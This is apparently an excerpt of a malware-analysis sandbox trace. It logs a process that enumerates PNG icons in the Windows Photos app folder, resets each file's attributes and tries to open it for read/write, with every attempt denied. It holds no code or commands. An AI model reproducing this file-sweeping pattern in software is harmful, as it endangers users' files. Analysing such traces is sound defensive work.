	[0091.067] wcscpy (in: _Dest=0x2e020a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets"
	[0091.067] wcscat (in: _Dest=0x2e020a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\"
	[0091.067] wcscat (in: _Dest=0x2e020a8, _Source="IconEditMoment.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditMoment.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditMoment.scale-100.png"
	[0091.067] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditMoment.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\lumia.viewerplugin\\assets\\iconeditmoment.scale-100.png")) returned 0x20
	[0091.068] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditMoment.scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.068] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditMoment.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\lumia.viewerplugin\\assets\\iconeditmoment.scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.068] GetLastError () returned 0x5
	[0091.068] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditMoment.scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.068] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e020a8) returned 1
	[0091.068] FindNextFileW (in: hFindFile=0x477b0e8, lpFindFileData=0x502d080 | out: lpFindFileData=0x502d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e14fd0, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x86e14fd0, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x86e14fd0, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xec, dwReserved0=0x0, dwReserved1=0x0, cFileName="IconEditRichCapture.contrast-high_scale-100.png", cAlternateFileName="")) returned 1
	[0091.068] wcscmp (_String1="IconEditRichCapture.contrast-high_scale-100.png", _String2=".") returned 1
	[0091.068] wcscmp (_String1="IconEditRichCapture.contrast-high_scale-100.png", _String2="..") returned 1
	[0091.068] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x168) returned 0x2e020a8
	[0091.068] wcscpy (in: _Dest=0x2e020a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets"
	[0091.068] wcscat (in: _Dest=0x2e020a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\"
	[0091.068] wcscat (in: _Dest=0x2e020a8, _Source="IconEditRichCapture.contrast-high_scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditRichCapture.contrast-high_scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditRichCapture.contrast-high_scale-100.png"
	[0091.068] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditRichCapture.contrast-high_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\lumia.viewerplugin\\assets\\iconeditrichcapture.contrast-high_scale-100.png")) returned 0x20
	[0091.070] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditRichCapture.contrast-high_scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.070] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditRichCapture.contrast-high_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\lumia.viewerplugin\\assets\\iconeditrichcapture.contrast-high_scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.070] GetLastError () returned 0x5
	[0091.070] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditRichCapture.contrast-high_scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.071] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e020a8) returned 1
	[0091.071] FindNextFileW (in: hFindFile=0x477b0e8, lpFindFileData=0x502d080 | out: lpFindFileData=0x502d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e14fd0, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x86e14fd0, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x86e14fd0, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="IconEditRichCapture.contrast-white_scale-100.png", cAlternateFileName="")) returned 1
	[0091.071] wcscmp (_String1="IconEditRichCapture.contrast-white_scale-100.png", _String2=".") returned 1
	[0091.071] wcscmp (_String1="IconEditRichCapture.contrast-white_scale-100.png", _String2="..") returned 1
	[0091.071] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x16a) returned 0x2e020a8
	[0091.071] wcscpy (in: _Dest=0x2e020a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets"
	[0091.071] wcscat (in: _Dest=0x2e020a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\"
	[0091.071] wcscat (in: _Dest=0x2e020a8, _Source="IconEditRichCapture.contrast-white_scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditRichCapture.contrast-white_scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditRichCapture.contrast-white_scale-100.png"
	[0091.071] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditRichCapture.contrast-white_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\lumia.viewerplugin\\assets\\iconeditrichcapture.contrast-white_scale-100.png")) returned 0x20
	[0091.071] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditRichCapture.contrast-white_scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.071] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditRichCapture.contrast-white_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\lumia.viewerplugin\\assets\\iconeditrichcapture.contrast-white_scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.071] GetLastError () returned 0x5
	[0091.071] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditRichCapture.contrast-white_scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.071] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e020a8) returned 1
	[0091.071] FindNextFileW (in: hFindFile=0x477b0e8, lpFindFileData=0x502d080 | out: lpFindFileData=0x502d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e14fd0, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x86e14fd0, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x86e14fd0, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xec, dwReserved0=0x0, dwReserved1=0x0, cFileName="IconEditRichCapture.scale-100.png", cAlternateFileName="")) returned 1
	[0091.071] wcscmp (_String1="IconEditRichCapture.scale-100.png", _String2=".") returned 1
	[0091.071] wcscmp (_String1="IconEditRichCapture.scale-100.png", _String2="..") returned 1
	[0091.071] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x14c) returned 0x48bb348
	[0091.071] wcscpy (in: _Dest=0x48bb348, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets"
	[0091.071] wcscat (in: _Dest=0x48bb348, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\"
	[0091.072] wcscat (in: _Dest=0x48bb348, _Source="IconEditRichCapture.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditRichCapture.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditRichCapture.scale-100.png"
	[0091.072] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditRichCapture.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\lumia.viewerplugin\\assets\\iconeditrichcapture.scale-100.png")) returned 0x20
	[0091.072] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditRichCapture.scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.072] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditRichCapture.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\lumia.viewerplugin\\assets\\iconeditrichcapture.scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.072] GetLastError () returned 0x5
	[0091.072] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditRichCapture.scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.072] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48bb348) returned 1
	[0091.072] FindNextFileW (in: hFindFile=0x477b0e8, lpFindFileData=0x502d080 | out: lpFindFileData=0x502d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e14fd0, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x86e14fd0, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x86e14fd0, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x126, dwReserved0=0x0, dwReserved1=0x0, cFileName="IconOpenInCinemagraph.contrast-high_scale-100.png", cAlternateFileName="")) returned 1
	[0091.072] wcscmp (_String1="IconOpenInCinemagraph.contrast-high_scale-100.png", _String2=".") returned 1
	[0091.072] wcscmp (_String1="IconOpenInCinemagraph.contrast-high_scale-100.png", _String2="..") returned 1
	[0091.072] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x16c) returned 0x2e020a8
	[0091.072] wcscpy (in: _Dest=0x2e020a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets"
	[0091.072] wcscat (in: _Dest=0x2e020a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\"
	[0091.072] wcscat (in: _Dest=0x2e020a8, _Source="IconOpenInCinemagraph.contrast-high_scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconOpenInCinemagraph.contrast-high_scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconOpenInCinemagraph.contrast-high_scale-100.png"
	[0091.072] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconOpenInCinemagraph.contrast-high_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\lumia.viewerplugin\\assets\\iconopenincinemagraph.contrast-high_scale-100.png")) returned 0x20
	[0091.072] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconOpenInCinemagraph.contrast-high_scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.073] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconOpenInCinemagraph.contrast-high_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\lumia.viewerplugin\\assets\\iconopenincinemagraph.contrast-high_scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.073] GetLastError () returned 0x5
	[0091.073] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconOpenInCinemagraph.contrast-high_scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.073] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e020a8) returned 1
	[0091.073] FindNextFileW (in: hFindFile=0x477b0e8, lpFindFileData=0x502d080 | out: lpFindFileData=0x502d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e14fd0, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x86e14fd0, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x86e14fd0, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x126, dwReserved0=0x0, dwReserved1=0x0, cFileName="IconOpenInCinemagraph.contrast-white_scale-100.png", cAlternateFileName="")) returned 1
	[0091.073] wcscmp (_String1="IconOpenInCinemagraph.contrast-white_scale-100.png", _String2=".") returned 1
	[0091.073] wcscmp (_String1="IconOpenInCinemagraph.contrast-white_scale-100.png", _String2="..") returned 1
	[0091.073] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x16e) returned 0x2e020a8
	[0091.073] wcscpy (in: _Dest=0x2e020a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets"
	[0091.073] wcscat (in: _Dest=0x2e020a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\"
	[0091.073] wcscat (in: _Dest=0x2e020a8, _Source="IconOpenInCinemagraph.contrast-white_scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconOpenInCinemagraph.contrast-white_scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconOpenInCinemagraph.contrast-white_scale-100.png"
	[0091.073] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconOpenInCinemagraph.contrast-white_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\lumia.viewerplugin\\assets\\iconopenincinemagraph.contrast-white_scale-100.png")) returned 0x20
	[0091.075] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconOpenInCinemagraph.contrast-white_scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.075] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconOpenInCinemagraph.contrast-white_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\lumia.viewerplugin\\assets\\iconopenincinemagraph.contrast-white_scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.075] GetLastError () returned 0x5
	[0091.075] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconOpenInCinemagraph.contrast-white_scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.075] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e020a8) returned 1
	[0091.075] FindNextFileW (in: hFindFile=0x477b0e8, lpFindFileData=0x502d080 | out: lpFindFileData=0x502d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e14fd0, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x86e14fd0, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x86e14fd0, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x126, dwReserved0=0x0, dwReserved1=0x0, cFileName="IconOpenInCinemagraph.scale-100.png", cAlternateFileName="")) returned 1
	[0091.075] wcscmp (_String1="IconOpenInCinemagraph.scale-100.png", _String2=".") returned 1
	[0091.075] wcscmp (_String1="IconOpenInCinemagraph.scale-100.png", _String2="..") returned 1
	[0091.075] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x150) returned 0x48bbcb0
	[0091.075] wcscpy (in: _Dest=0x48bbcb0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets"
	[0091.075] wcscat (in: _Dest=0x48bbcb0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\"
	[0091.075] wcscat (in: _Dest=0x48bbcb0, _Source="IconOpenInCinemagraph.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconOpenInCinemagraph.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconOpenInCinemagraph.scale-100.png"
	[0091.075] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconOpenInCinemagraph.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\lumia.viewerplugin\\assets\\iconopenincinemagraph.scale-100.png")) returned 0x20
	[0091.076] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconOpenInCinemagraph.scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.076] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconOpenInCinemagraph.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\lumia.viewerplugin\\assets\\iconopenincinemagraph.scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.076] GetLastError () returned 0x5
